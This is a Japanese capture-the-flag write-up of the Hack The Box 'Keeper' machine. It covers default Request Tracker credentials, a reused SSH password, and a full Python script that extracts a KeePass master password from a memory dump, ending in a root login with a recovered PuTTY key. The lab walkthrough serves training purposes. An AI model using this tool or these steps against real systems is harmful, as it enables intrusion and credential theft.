見出し画像

HTB Keeper


マシン情報

 ・OS
   Linux
 ・難易度
   EASY 2.9
 ・リリース日
   2023/8/12
 ・学べること

ポート探索

nmap ⇒ 22/80

$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.227  -oN nmap_result.txt


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)

searchsploit openssh ⇒ 該当なし

└─$ searchsploit openssh                      
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service   | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution                     | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read               | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow                   | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite                           | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration                             | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                       | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One                    | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow           | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)                 | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)                 | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service           | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation                 | linux/local/41173.c
OpenSSH 7.2 - Denial of Service                                      | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection              | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                 | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution                         | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution                               | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Dom | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading             | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                 | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files                           | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident                  | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool                    | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration                                | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack                 | multiple/remote/3303.sh
--------------------------------------------------------------------- ---------------------------------

searchsploit nginx ⇒ 該当なし

1.20.0でDOSの脆弱性がありますが、フラグ取得とは関係ないので該当なし。

└─$ searchsploit nginx  
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege  | linux/local/40768.sh
Nginx 0.6.36 - Directory Traversal                                   | multiple/remote/12804.txt
Nginx 0.6.38 - Heap Corruption                                       | linux/local/14830.py
Nginx 0.6.x - Arbitrary Code Execution NullByte Injection            | multiple/webapps/24967.txt
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4 | linux/dos/9901.txt
Nginx 0.7.61 - WebDAV Directory Traversal                            | multiple/remote/9829.txt
Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection    | multiple/remote/33490.txt
Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download             | windows/remote/13822.txt
Nginx 0.8.36 - Source Disclosure / Denial of Service                 | windows/remote/13818.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass                        | multiple/remote/38846.txt
Nginx 1.20.0 - Denial of Service (DOS)                               | multiple/remote/50973.py
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metas | linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC)                        | linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force                                | linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow                    | linux_x86-64/remote/32277.txt
PHP-FPM + Nginx - Remote Code Execution                              | php/webapps/47553.md
--------------------------------------------------------------------- ---------------------------------

ポート80探索

Web画面アクセス

リンクをクリックするとエラーとなり、
IPではなく、名前指定する必要があるようです。

$ echo "10.10.11.227 \tkeeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts

しかし、Bad Gatewayが表示される

ログイン画面表示

数日後にもう一度試したところログイン画面が表示されました。

Request Trackerとは

Request Tracker(RT)は、オープンソースのチケット管理システムで、主にタスク管理、サポートリクエストの追跡、バグトラッキングなどに使用されます。開発したのはBest Practical Solutionsで、企業や組織がサポート業務や問い合わせ対応を効率的に管理できるように設計されています。

chatGPT

Request Trackerのインストール手順を確認 ⇒ 初期パスワード入手

サードパーティのサービスを使っている場合、インストール手順を調べることで管理者画面や初期パスワード等がわかることがあります。

初期ユーザーネームとパスワードでブラウザでログインする。
ユーザネーム: root
パスワード: password

https://ameblo.jp/operation/entry-10644541230.html

ログイン画面で入力するとログインできました。

探索 ⇒ ユーザ一覧を確認 ⇒ メモ欄に、、、

Adminメニューに「ユーザー」の管理画面がありました。

root以外にlnorgaardというユーザがいるようです。

詳細画面に入ると、、、
パスワードと思われる記載が。

侵入

ssh

先程入手したユーザ/パスワードをsshで試してみる。

└─$ ssh lnorgaard@10.10.11.227
lnorgaard@10.10.11.227's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ 

入れました。
※先程入手したのはあくまでもRequestTrackerのユーザ情報ですが、
 同じ認証でログインできたということは
 SSHでも使いまわしをしているということになります

user.txt

lnorgaard@keeper:~$ cat user.txt

Plivilege Escalation

RT30000.zipを取得

lnorgaard@keeper:~$ ls
RT30000.zip  user.txt


lnorgaard@keeper:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
$ wget http://10.10.11.227:8080/RT30000.zip
--2025-01-31 23:19:43--  http://10.10.11.227:8080/RT30000.zip
10.10.11.227:8080 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 87391651 (83M) [application/zip]
`RT30000.zip' に保存中

RT30000.zip               100%[====================================>]  83.34M   350KB/s 時間 4m 15s   

2025-01-31 23:23:59 (335 KB/s) - `RT30000.zip' へ保存完了

解凍 ⇒ keepassのメモリダンプ

unzipしてみるとdmpファイルがあります。
ファイル名を調べて見るとkeepassというパスワード管理ツールのもののようです。

$ ls
KeePassDumpFull.dmp

解析方法を調べているとKeePassに脆弱性があったことがわかりました。
脆弱性の内容としてはKeePassのマスターパスワードがRAM上に残ってしまうとのこと。

POC ⇒ C#のためソースコード分析

dmpファイルを解析してKeePassのパスワードを抽出するPOCがありますが、C#で作られています。
そのためソースコードを解析してLinuxで動くようにしたいと思います。
ボリュームとしては幸いにも200行もありません。

①使い方
 ⇒dmpファイルのパスを引数

// usage:
// dotnet run PATH_TO_DUMP [PATH_TO_PWDLIST]

②パスワードの目印
 ⇒● 0xCF 0x25
  ●を見つけると解析用のバッファに●を追加してiを加算して次を読み飛ばす

       while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0)
            {
                for (var i = 0; i < bytesRead - 1; i++)
                {
                    // ● = 0xCF 0x25
                    if (buffer[i] == 0xCF && buffer[i + 1] == 0x25)
                    {
                        currentStrLen++;
                        i++;
                        debugStr += passwordChar;
                    }

③目印を見つけた後
 ⇒2byte読み込み文字列に変換している
  例) character が 0x61 0x00 だったら strChar には a が格納される

            else
                    {
                        if (currentStrLen == 0) continue;
                        
                        currentStrLen++;

                        string strChar;
                        try
                        {
                            var character = new[] { buffer[i], buffer[i + 1] };
                            strChar = System.Text.Encoding.Unicode.GetString(character);
                        }
                        catch
                        {
                            continue;
                        }

④その後の処理
 ⇒正規表現でパスワードとしてただしいもののみリストに追加している
  AllowedCharsは ^[0x20-0xFF]+$

ASCII 文字 (0x20-0x7E)
 英数字: A-Z a-z 0-9
 記号: !"#$%&'()*+,-./:;<=>?@[\]^_{|}~
 スペース ( )
拡張 ASCII (0x80-0xFF)
 ラテン文字 (é, ü, ñ, etc.)
 特殊記号 (©, ®, ±, etc.)

そして、currentStrLenとdebugStrをリセットしていることから●の後の1文字のみパスワードということのようです。

              var isValid = Regex.IsMatch(strChar, AllowedChars);

                        if (isValid)
                        {
                            // Convert to UTF 8                            
                            if (!candidates.ContainsKey(currentStrLen))
                            {
                                candidates.Add(currentStrLen, new HashSet<string> { strChar });
                            }
                            else
                            {
                                if (!candidates[currentStrLen].Contains(strChar))
                                    candidates[currentStrLen].Add(strChar);
                            }

                            debugStr += strChar;
                            Console.WriteLine($"Found: {debugStr}");
                        }

                        currentStrLen = 0;
                        debugStr = "";
                    }

Pythonで書き直して実行 ⇒ それっぽいのが表示された

pythonで書き直したソースが下記です。

import re
import sys
import os
from collections import defaultdict

def is_valid_char(char):
	return bool(re.match(r'^[\x20-\xFF]+$', char))

def read_memory_dump(file_path, buffer_size=524288):
	candidates = defaultdict(set)
	current_str_len = 0
	debug_str = ""
	password_char = "●"
	
	with open(file_path, 'rb') as f:
		while chunk := f.read(buffer_size):
			i = 0
			while i < len(chunk) - 1:
				if chunk[i] == 0xCF and chunk[i + 1] == 0x25:
					current_str_len += 1
					i += 2
					debug_str += password_char
				else:
					if current_str_len == 0:
						i += 1
						continue
					
					current_str_len += 1
					
					try:
						char = chunk[i:i+2].decode('utf-16-le')
					except UnicodeDecodeError:
						i += 1
						continue
					
					if is_valid_char(char):
						candidates[current_str_len].add(char)
						debug_str += char
						print(f"Found: {debug_str}")
					
					current_str_len = 0
					debug_str = ""
					i += 1
	
	return candidates, password_char

def generate_pwd_list(candidates, pwd_list, unknown_char, pwd="", prev_key=0):
	for key in sorted(candidates.keys()):
		while key != prev_key + 1:
			pwd += unknown_char
			prev_key += 1
		
		prev_key = key
		
		if len(candidates[key]) == 1:
			pwd += next(iter(candidates[key]))
			continue
		
		for val in candidates[key]:
			generate_pwd_list(
				{k: v for k, v in candidates.items() if k > key},
				pwd_list,
				unknown_char,
				pwd + val,
				prev_key
			)
		return
	pwd_list.append(pwd)

def main():
	if len(sys.argv) < 2:
		print("Please specify a file path as an argument.")
		return
	
	file_path = sys.argv[1]
	if not os.path.exists(file_path):
		print("File not found.")
		return
	
	pwd_list_path = sys.argv[2] if len(sys.argv) >= 3 else ""
	candidates, password_char = read_memory_dump(file_path)
	
	print("\nPassword candidates (character positions):")
	print(f"Unknown characters are displayed as \"{password_char}\"")
	
	print(f"1.:	{password_char}")
	combined = password_char
	count = 2
	
	for key in sorted(candidates.keys()):
		while key > count:
			print(f"{count}.:	{password_char}")
			combined += password_char
			count += 1
		
		print(f"{key}.:	", end="")
		if len(candidates[key]) > 1:
			combined += "{"
		
		combined += ", ".join(candidates[key])
		
		if len(candidates[key]) > 1:
			combined += "}"
		
		print(", ".join(candidates[key]))
		count += 1
	
	print(f"Combined: {combined}")
	
	if pwd_list_path:
		pwd_list = []
		generate_pwd_list(candidates, pwd_list, password_char)
		with open(pwd_list_path, "w", encoding="utf-8") as f:
			f.write("\n".join(pwd_list))
		
		print(f"{len(pwd_list)} possible passwords saved in {pwd_list_path}. Unknown characters indicated as {password_char}")

if __name__ == "__main__":
	main()

実行したところパスワードが表示されました。
ただ、一部ラテン語のような文字が混じっています。
dgrød med fløde

$ python3 keepass-dumper.py KeePassDumpFull.dmp

(省略)

Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     ●
2.:     _, =, -, I, ', ], Ï, `, ø, §, A, M, l, ,, c, :
3.:     d
4.:     g
5.:     r
6.:     ø
7.:     d
8.:      
9.:     m
10.:    e
11.:    d
12.:     
13.:    f
14.:    l
15.:    ø
16.:    d
17.:    e
Combined: ●{_, =, -, I, ', ], Ï, `, ø, §, A, M, l, ,, c, :}dgrød med fløde

linux用のツールとしてGitHubにも公開しています。

入力 ⇒ 失敗

zipファイルに含まれていたkbdxファイルのパスワードとして入力してみましたが開きませんでした。

調べると料理の名前らしく正式名称は別のようです。
正式名称⇒rødgrød med fløde

正式名称で再チャレンジ ⇒ 開いた

KeePassのGUIの左にカテゴリーあるので1つずつ見ていくと[Network]にrootユーザがPuTTYで接続するときの鍵情報がありました。

Puttyの鍵をOpenSSH用に変換

①まずエディタに鍵情報を貼り付けて保存

②OpenSSHの秘密鍵に変換

$ puttygen putty.ppk -O private-openssh -o id_rsa

③適切な権限を付与

$ chmod 600 id_rsa 

SSH

$ ssh root@10.10.11.227 -i id_rsa                
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
You have new mail.
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)


いいなと思ったら応援しよう!